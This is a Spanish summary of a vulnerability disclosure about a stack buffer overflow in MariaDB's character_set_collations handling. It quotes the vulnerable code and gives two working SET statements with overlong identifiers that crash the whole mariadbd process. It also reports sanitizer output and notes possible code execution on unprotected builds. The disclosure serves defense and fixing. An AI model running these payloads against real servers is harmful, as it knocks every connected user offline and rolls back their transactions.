Reports
ALTA[OTROS]#3782405

Desbordamiento de pila en MariaDB permite tumbar el servidor con un solo SET

Un identificador de charset o colación demasiado largo desbordaba un búfer de pila en MariaDB, permitiendo a cualquier usuario autenticado colgar todo el proceso mariadbd con una sola sentencia SQL.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

MariaDB Server contenía un desbordamiento de búfer basado en pila en la función Charset_collation_map_st::insert_or_replace() del fichero sql/charset_collations.cc. Al procesar la variable de sesión character_set_collations, la función copiaba los identificadores de charset y de colación que envía el usuario dentro de búferes de pila de tamaño fijo (33 y 65 bytes respectivamente), pero usaba como límite la longitud del token controlado por el atacante en lugar del tamaño del búfer de destino.

El resultado es que cualquier usuario autenticado —basta con el privilegio USAGE— podía escribir fuera de esos búferes y colgar el proceso completo de mariadbd con una sola sentencia SET. La ruta de ejecución vulnerable era:

SET  ->  Sys_var_charset_collation_map::do_check()
     ->  charset_collation_map_from_item()
     ->  from_text()
     ->  insert_or_replace()
     ->  strmake()

La copia se hacía con strmake() pasándole la longitud del token en vez del tamaño del búfer:

bool Charset_collation_map_st::insert_or_replace(const LEX_CSTRING &cs_name,
                                                  const LEX_CSTRING &cl_name,
                                                  bool error_on_unknown,
                                                  myf utf8_flag)
{
  // Búfer del nombre de charset
  char charset_name_c[MY_CS_CHARACTER_SET_NAME_SIZE + 1];  // 33 bytes
  strmake(charset_name_c, cs_name.str, cs_name.length);    // length sin acotar

  // ...

  // Búfer del nombre de colación
  char collation_name_c[MY_CS_COLLATION_NAME_SIZE + 1];    // 65 bytes
  strmake(collation_name_c, cl_name.str, cl_name.length);  // length sin acotar
}

El motivo de que la longitud llegue sin acotar está en el tokenizador de sql/simple_tokenizer.h, que recorre los caracteres de identificador ([A-Za-z0-9_]) sin ningún límite superior:

LEX_CSTRING get_ident() {
  const char *start= m_ptr++;
  for ( ; is_ident_body(); m_ptr++) { }   // recorrido sin límite
  return {start, (size_t)(m_ptr - start)};
}

Pasos de reproducción

  1. Conectarse a un servidor MariaDB (versión 11.2.1 o posterior) como cualquier usuario autenticado, incluso uno con solo el privilegio USAGE.
  1. Variante 1 — desbordar charset_name_c[33] con un nombre de charset de 200 caracteres:
SET @@session.character_set_collations='AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=x';
  1. Variante 2 — desbordar collation_name_c[65] con un nombre de colación de 200 caracteres:
SET @@session.character_set_collations='utf8mb3=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
  1. Ambas variantes cuelgan el proceso mariadbd de inmediato. El cliente recibe ERROR 2013 (HY000): Lost connection to server during query y el resto de clientes conectados pierden su sesión a la vez.
  1. En compilaciones con AddressSanitizer, el registro de errores muestra el desbordamiento:
==230437==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x77bd5379eca1
WRITE of size 1 at 0x77bd5379eca1 thread T13
    #0 strmake /home/ubuntu/mariadb-server/strings/strmake.c:36
    #1 Charset_collation_map_st::insert_or_replace(...) /home/ubuntu/mariadb-server/sql/charset_collations.cc:58

Impacto

Cualquier usuario autenticado, aunque solo tenga el privilegio USAGE, podía colgar el proceso completo de mariadbd con una única sentencia SQL, desconectando a todos los clientes y provocando el rollback de las transacciones en curso: una denegación de servicio para toda la instancia.

Además, en compilaciones sin protectores de pila (por ejemplo builds personalizadas, paquetes de distribuciones antiguas o plataformas donde -fstack-protector no es el valor por defecto), el desbordamiento podría llegar a ser explotable para ejecución de código. El payload está limitado al conjunto [A-Za-z0-9_] por el tokenizador, lo que restringe —pero no descarta necesariamente— la explotación según la arquitectura del objetivo.